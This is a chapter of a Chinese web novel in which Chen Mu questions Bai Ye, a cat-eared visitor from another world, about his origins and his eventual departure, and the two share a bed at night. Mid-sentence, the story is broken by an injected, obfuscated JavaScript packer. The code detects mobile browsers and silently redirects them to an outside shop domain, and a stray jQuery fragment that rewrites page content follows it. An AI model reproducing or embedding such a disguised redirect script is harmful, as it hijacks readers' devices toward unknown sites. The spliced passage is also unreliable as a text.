陈木在柏夜身旁坐下，眼睛一直看着他。
他没有说话，就那么坐着，侧过身，目光落在柏夜的脸上，从眉骨到鼻梁，从鼻梁到下颌线。
柏夜察觉到了这道视线。他从那本旧杂志上抬起眼，合上封面，把杂志放在膝盖上，金色的眼睛转过来迎着陈木的目光。
他的尾巴从腿边收起来，盘到自己腿上，尾尖搭在膝盖边缘，没有动。
"有事？"
陈木没回答。他还在看。过了好几秒，他才开口："你在那个异世界里，没人说你长得很帅吗？"
柏夜的声音明显顿了一拍："……有。"
"有？"陈木微微凑近了一点，两个人的距离从沙发两头拉近到了中间。
他歪着头，像是在欣赏一件摆在橱窗里的东西，"那你可以考虑一下去当个模特什么的？"
柏夜看着他凑近的脸，尾巴尖从膝盖上抬起来一下，又落回去。
"模特？"
"就是站在那里让人拍照，穿好看的衣服，展示给别人看。"陈木比划了一下，"然后人家给你钱。我听说模特的收入不少呢，银行卡上的数字可以涨得很快。"
柏夜的目光从陈木的眼睛移到他比划的那只手上，又移回来。他的耳朵朝陈木的方向微微偏了一下，又转回去。
"不要。"
"为什么？"
"不喜欢被人看。"
"你刚才还说有人说过你长得帅……"
"那是他们的事。"柏夜把杂志拿起来，翻开，重新搁在膝盖上，"我不喜欢被人看。"
陈木靠在沙发靠背上，仰头看着天花板，长长地"啊"了一声。
天花板上的灯罩边缘积了一层薄灰，在暖黄色的灯光下形成一圈淡淡的阴影，像一圈沉默的观众。
他侧过头，又看了柏夜一眼。
柏夜正低头看着杂志，金色的眼睛在纸页上缓缓移动，猫耳微微朝前倾着，不知道是在看字还是在听周围的动静。
"那就算了。"陈木说。
柏夜没有抬头。但耳朵尖动了一下。
从柏夜出现开始，陈木的好奇心一直都没有压下去。
那天晚上他突然出现在沙发上，然后说"我饿了"，然后喝牛奶、说"另一个世界"、说"被追杀的"——每一句话都只给了一半。剩下的那一半一直悬在那里，像一块吊在半空中的石头，风一吹就晃一下，但始终没有落地。
今天陈木终于逮住了一个机会。柏夜坐在沙发上，手里拿着一本旧杂志，尾巴盘在腿上，整个人看起来比前几天松弛了很多。他应该比之前更愿意回答问题了。
"柏夜，"陈木开口，"和你一起来的灵兽有哪些呀？"
柏夜的目光停在纸页上，没有动，翻了一页。尾巴从盘着状态松开了一点，尾尖垂到沙发垫上。
"……"
"不能说？"
"能说。"柏夜顿了一下，"但我不想说。"
"不想说？为什么？"
柏夜抬起眼看了他一下，又低回去。杂志又翻了一页，翻过去的那一页被他用拇指按住了——他好像在看那页上的什么东西，又好像什么都没在看。
"你问了，我就说了。"柏夜说，"但我不想说。"
陈木看着他，沉默了几秒。这个回答听起来像是在拒绝，又像是在说他还没准备好。
"那换一个。"陈木换了个坐姿，面朝着柏夜的方向，"你的力量可以拿来做什么？"
柏夜这次没有说话。
他合上杂志，放在沙发扶手上，两只手搭在膝盖上，坐姿比刚才端正了一些。尾巴从他腿上垂下来，尾尖搭在沙发边缘，悬在半空中，极其轻微地晃了一下，然后停住了。
他侧过头看着陈木，金色的眼睛在灯光下亮了一瞬。
"算了，我再换一个。"陈木看着他那张"我有很多话但我不想说"的脸叹了口气，"你会离开这个世界吗？"
空气安静下来。
柏夜的目光从陈木脸上移开，落在客厅窗户的方向。
窗外的夜色已经全黑了，只能看到对面楼的几扇亮着灯的窗户，像几块嵌在黑暗里的黄色小方块。他的尾巴悬在半空中，没有晃。
"会的。"他说。
陈木怔了一下。他听到那两个字的时候，胸口像是被什么东西轻轻撞了一下——不重，但位置很准，刚好落在心脏偏左的那一块。
"……哦。"
他的声音比刚才低了一些。尾音落在地上之后没有弹起来。
他的目光从柏夜脸上移开，落在茶几上那杯已经空了的杯子上。
那天晚上的热牛奶，茶几上的空杯，地板上的脚步声。
陈木没有再问了。他站起来，走进卫生间。水声响起来，持续了很长一段时间。
等他出来的时候，头发上沾着水珠，衣领湿了一小块，贴在他的肩膀上。他没有看柏夜，径直走到沙发前面，弯腰准备整理毯子。
柏夜坐在原处，看着他弯腰拉毯子的动作。然后他开口了："你今晚不要睡沙发了。"
陈木直起身，手里还拎着那条毯子的一角，转过头看他："什么？"
"你今晚不要睡沙发了。"柏夜又说了一遍，声音不高不低，"睡卧室去。"
"那你睡哪？"陈木看着他。
柏夜的尾巴从沙发边缘收回来，盘到腿上，尾尖搭在自己的手背上。他的耳朵朝后压了一下又弹回原位，像在做一件他自己也不太确定该怎么做的事。
"我睡……"
"你也睡床吧。"陈木打断了他。
柏夜的话被截在嘴边。他抬起眼看着他，看着陈木站在客厅里，手里拎着那条毯子，头发上还在滴水，水珠顺着发梢滑下来，落在锁骨上，洇湿了一小块衣料。
"这个床虽然不大，"陈木说，"但是挤一挤，还是可以睡下两个人的。"
他说话的时候眼睛看着柏夜，没有移开。
手指捏着毯子角，指节微微发白——那是他紧张的时候才会有的动作。他紧张，但他说出来了。
柏夜坐在沙发上，尾巴已经盘到自己腿上了。他看着陈木，看了很久，然后他垂下眼。
"……嗯。"他说。虽然这样有些奇怪。
虽然这样有些奇怪——这句话他没有说出来，但它悬在两个人之间的空气里。
陈木把毯子放回沙发上，转身走进卧室。他先走到床边，把被子抖开铺平，把枕头拍松——一个还是两个？他看了一眼床头柜上那个多余的枕头，犹豫了一秒，伸手把它放到了床的中间。然后他又拿起来，放回床头柜上，把两个枕头并排放好。
他从衣柜里翻出一条干净的毯子，放在床头柜上，又翻了半天找出一件黑色T恤——还没来得及穿的、对他来说有些宽松的、但晚上睡觉穿应该很舒服的——放在毯子旁边。
柏夜走进卧室的时候，陈木正在把被子重新叠了一下—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735570|209045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
—叠了又抖开，抖开又叠，像在掩饰什么。他转过身，把黑色T恤递过去："你换这个睡。你那个衣服——那个白袍什么的，穿着睡不舒服。"
柏夜低头看了看那件T恤，伸手接过来。他的手指碰到陈木的指腹——凉的。陈木的手指也是凉的。两个人的手都很凉，但碰到的那一瞬间，谁也没有缩回去。
"……好。"柏夜说。
陈木转身走出卧室，带上了门。他在客厅里站了一会儿，把茶几上的杂志收起来放回书架上，把杯子拿到厨房冲洗了一下，把沙发上的毯子叠好放回衣柜里。
他做了这些事情，每一件都不需要做，但他在做。他在让时间走起来。
他回到卧室门口，敲了一下门。
"换好了吗？"
"……嗯。"
他推开门。柏夜换上了那件黑色T恤，站在床的另一侧，尾巴垂在身侧。
陈木走过去，掀开被子的一角，在靠墙的那一侧躺下来。被子盖住他肩膀的位置时，他的后背贴到了墙壁——凉凉的，透过睡衣布料渗进来。他往中间挪了一点，留出足够的位置。
柏夜看着那个空出来的位置站了两秒，然后走过来。他的动作很轻，掀开被子的时候几乎没有发出声音。
他躺下来的时候也是侧着身的，面朝外，和陈木之间隔着大约二十厘米的距离，像一道被拉得很长的时间线，忽然就缩成了"一起"。
两个人都平躺着，中间隔着一小段距离，天花板上的灯已经关了，只有窗帘缝隙里透进来一线微弱的月光。
安静了很久。
陈木听到自己的心跳。不快，但很清晰，一声一声地撞在胸腔上，像有人在他的肋骨后面轻轻敲门。他侧过头，在黑暗中看了柏夜一眼——看不清脸，只能看到一个侧面的轮廓，和猫耳顶端那两个小小的尖角。
"柏夜。"他开口。
"嗯。"回答的声音从枕头的方向传过来。
"你说你会回去。"
沉默了一会儿。
"……嗯。"
"那你回去了，还会回来吗？"
这句话比上一句更轻，轻到像是说出来之前就已经在后悔了。陈木感觉到自己的手在被子下面蜷了一下，又松开。
黑暗中柏夜没有立刻回答。他好像也侧过头来了，在暗处看向陈木的方向——陈木感觉到那道视线落在他的肩头，又从肩头移到了他的脸上。
然后柏夜开口了："你想让我回来吗？"
“我……”陈木不知道该怎么回答，因为他自己心里还没有一个明确的答案。
陈木感觉到被子的边缘被轻轻压了一下，然后有一条温暖的、毛茸茸的东西搭在了他的手背上。
是柏夜的尾巴。
陈木的呼吸停了一下，他没有缩回手，也没有转过去，他就那么躺着，手背贴着尾巴，感受到那团温度一点一点地渗进皮肤里，顺着血管往上走，一直走到胸口。
"睡觉吧。"柏夜说。
随后，猫尾移开了。
陈木闭上了眼睛。窗外的月光照在两个人之间那一小段距离上，像一条安静的河。河里没有水，只有光。
然后他睡沉了。
窗外的月光从窗帘的缝隙里照进来，在地板上铺了一小片银白色的光。
床上的两个人各自盖着被子的半边，中间隔着一小段距离，但被子下面的空间是连着的，像一座没有人走过的桥。
夜色很安静。